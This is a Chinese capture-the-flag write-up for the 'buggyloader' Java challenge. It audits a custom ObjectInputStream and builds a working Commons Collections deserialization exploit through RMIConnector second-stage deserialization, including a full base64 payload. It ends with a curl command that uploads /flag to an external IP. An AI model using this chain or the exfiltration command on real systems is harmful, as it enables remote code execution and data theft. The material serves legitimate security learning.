https://www.anquanke.com/post/id/256986#h3-7
https://www.bilibili.com/video/BV1LZ4y1m7Ah?spm_id_from=333.999.0.0
# 源码
给了 jar 包与 Dockerfile
From openjdk:8u222-slim | |
RUN apt-get update -y \ | |
&& apt-get install curl -y \ | |
&& useradd ctf \ | |
&& mkdir /opt/app | |
COPY buggyloader.jar /opt/app | |
COPY flag /flag | |
WORKDIR /opt/app | |
EXPOSE 8080 | |
USER ctf | |
CMD ["java", "-jar", "/opt/app/buggyloader.jar"] |
IndexController
package BOOT-INF.classes.com.yxxx.javasec.deserialize; | |
import com.yxxx.javasec.deserialize.MyObjectInputStream; | |
import com.yxxx.javasec.deserialize.Utils; | |
import java.io.ByteArrayInputStream; | |
import java.io.InputStream; | |
import org.springframework.stereotype.Controller; | |
import org.springframework.ui.Model; | |
import org.springframework.web.bind.annotation.RequestMapping; | |
import org.springframework.web.bind.annotation.RequestParam; | |
@Controller | |
public class IndexController { | |
@RequestMapping({"/basic"}) | |
public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception { | |
byte[] b = Utils.hexStringToBytes(data); | |
InputStream inputStream = new ByteArrayInputStream(b); | |
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream); | |
String name = myObjectInputStream.readUTF(); | |
int year = myObjectInputStream.readInt(); | |
if (name.equals("SJTU") && year == 1896) | |
myObjectInputStream.readObject(); | |
return "index"; | |
} | |
} |
MyObjectInputStream
package BOOT-INF.classes.com.yxxx.javasec.deserialize; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.io.ObjectInputStream; | |
import java.io.ObjectStreamClass; | |
import java.net.URL; | |
import java.net.URLClassLoader; | |
import org.apache.commons.collections.Transformer; | |
public class MyObjectInputStream extends ObjectInputStream { | |
private ClassLoader classLoader; | |
public MyObjectInputStream(InputStream inputStream) throws Exception { | |
super(inputStream); | |
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs(); | |
this.classLoader = new URLClassLoader(urls); | |
} | |
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { | |
Class<?> clazz = this.classLoader.loadClass(desc.getName()); | |
return clazz; | |
} | |
} |
Utils
package BOOT-INF.classes.com.yxxx.javasec.deserialize; | |
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectOutputStream; | |
public class Utils { | |
public static String bytesTohexString(byte[] bytes) { | |
if (bytes == null) | |
return null; | |
StringBuilder ret = new StringBuilder(2 * bytes.length); | |
for (int i = 0; i < bytes.length; i++) { | |
int b = 0xF & bytes[i] >> 4; | |
ret.append("0123456789abcdef".charAt(b)); | |
b = 0xF & bytes[i]; | |
ret.append("0123456789abcdef".charAt(b)); | |
} | |
return ret.toString(); | |
} | |
static int hexCharToInt(char c) { | |
if (c >= '0' && c <= '9') | |
return c - 48; | |
if (c >= 'A' && c <= 'F') | |
return c - 65 + 10; | |
if (c >= 'a' && c <= 'f') | |
return c - 97 + 10; | |
throw new RuntimeException("invalid hex char '" + c + "'"); | |
} | |
public static byte[] hexStringToBytes(String s) { | |
if (s == null) | |
return null; | |
int sz = s.length(); | |
byte[] ret = new byte[sz / 2]; | |
for (int i = 0; i < sz; i += 2) | |
ret[i / 2] = (byte)(hexCharToInt(s.charAt(i)) << 4 | hexCharToInt(s.charAt(i + 1))); | |
return ret; | |
} | |
public static String objectToHexString(Object obj) throws Exception { | |
ByteArrayOutputStream bos = new ByteArrayOutputStream(); | |
ObjectOutputStream out = null; | |
out = new ObjectOutputStream(bos); | |
out.writeObject(obj); | |
out.flush(); | |
byte[] bytes = bos.toByteArray(); | |
bos.close(); | |
String hex = bytesTohexString(bytes); | |
return hex; | |
} | |
} |
# 代码审计
IndexController
这里就是一个反序列化,不过这里的反序列化是自己重写的 MyObjectInputStream
MyObjectInputStream
可以看到这里重写了 resolveClass
,用的 loadClass
进行加载类,可以看一下原生的 resolveClass
这个和 shiro
反序列化中很像,但是 shiro
采用的是 tomcat
中的双亲委派机制,与这里的有所不同
其中 Class.forName
加载对应上图的橘黄色图块,也就意味着不能加载 WEB-INF/lib
下的数组类型,但是可以加载 tomcat/lib
、Java 原生类、 tomcat
指定位置类的数组类型。
这里的是传统的双亲委派机制
其父加载器是 AppClassLoader
,意味着所有的数组类型都无法使用
# cc5 问题
cc5 的入口类是 BadAttributeValueExpException
,因为 java 反序列化的时候会调用所有父类的 readObject
,看到 BadAttributeValueExpException
的父类 Throwable
这里有对数组的操作,所以不能使用
# cc6 问题
这个就很明显
TemplatesImpl
类在反序列化 _bytecodes
字段时使用了 classloader
加载该类型,然而 classloader
又不能加载数组类型所以报错
# 二次反序列化
为了解决这个问题,有两个大方向可以思考
- 寻找新的命令执行方式
- 寻找二次反序列化漏洞点
相对来说第二种更方便寻找一些
通过 CodeQl
查找,找到了一个类 RMIConnector
利用点在 RMIConnector.findRMIServerJRMP
这里对传入的 base64
反序列化
然后看到入口点 RMIConnector.connect
调用了 findRMIServer
并且传入 JMXServiceURL
参数,跟进
根据 JMXServiceURL
的开头来进入对应的,这里只要让其为 /stub/
开头即可
查找一下 RMIConnector
的利用
做个 demo
,先将 cc 的 payload
生成 base64
package com.yxxx.javasec.deserialize; | |
import javax.management.remote.JMXServiceURL; | |
import javax.management.remote.rmi.RMIConnector; | |
import java.net.MalformedURLException; | |
import static marshalsec.util.Reflections.setFieldValue; | |
public class test { | |
public static void main(String[] args) throws Exception { | |
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); | |
setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABrcr+ur4AAAAxABwBAARFdmlsBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+BwADDAAWAAYKABcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEAIQACAAQAAAAAAAIACAAFAAYAAQAHAAAAJQACAAEAAAARuAAPEhG2ABVXpwAHS6cAA7EAAQAAAAkADAAJAAAAAQAWAAYAAQAHAAAAEQABAAEAAAAFKrcAGbEAAAAAAAEAGgAAAAIAG3B0AANhYWFwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAUWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAADYmJieA=="); | |
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null); | |
rmiConnector.connect(); | |
} | |
} |
外面再套一层 cc
package com.yxxx.javasec.deserialize; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import javax.management.remote.JMXServiceURL; | |
import javax.management.remote.rmi.RMIConnector; | |
import java.io.ByteArrayInputStream; | |
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectInputStream; | |
import java.io.ObjectOutputStream; | |
import java.net.MalformedURLException; | |
import java.util.Base64; | |
import java.util.HashMap; | |
import java.util.Map; | |
import static marshalsec.util.Reflections.setFieldValue; | |
public class test { | |
public static void main(String[] args) throws Exception { | |
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); | |
setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADa2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABrcr+ur4AAAAxABwBAARFdmlsBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+BwADDAAWAAYKABcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEAIQACAAQAAAAAAAIACAAFAAYAAQAHAAAAJQACAAEAAAARuAAPEhG2ABVXpwAHS6cAA7EAAQAAAAkADAAJAAAAAQAWAAYAAQAHAAAAEQABAAEAAAAFKrcAGbEAAAAAAAEAGgAAAAIAG3B0AANhYWFwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAUWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAADYmJieA=="); | |
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null); | |
//rmiConnector.connect(); | |
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); | |
HashMap<Object, Object> map = new HashMap<>(); | |
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); | |
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector); | |
HashMap<Object, Object> map2 = new HashMap<>(); | |
map2.put(tiedMapEntry, "bbb"); | |
lazyMap.remove(rmiConnector); | |
setFieldValue(lazyMap,"factory", invokerTransformer); | |
ByteArrayOutputStream bos = new ByteArrayOutputStream(); | |
ObjectOutputStream oos = new ObjectOutputStream(bos); | |
oos.writeObject(map2); | |
oos.close(); | |
System.out.println(new String(Base64.getEncoder().encode(bos.toByteArray()))); | |
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); | |
ObjectInputStream ois = new ObjectInputStream(bis); | |
ois.readObject(); | |
ois.close(); | |
} | |
} |
最后把命令修改一下即可
curl -F xx=@/flag 120.79.0.164:1236 |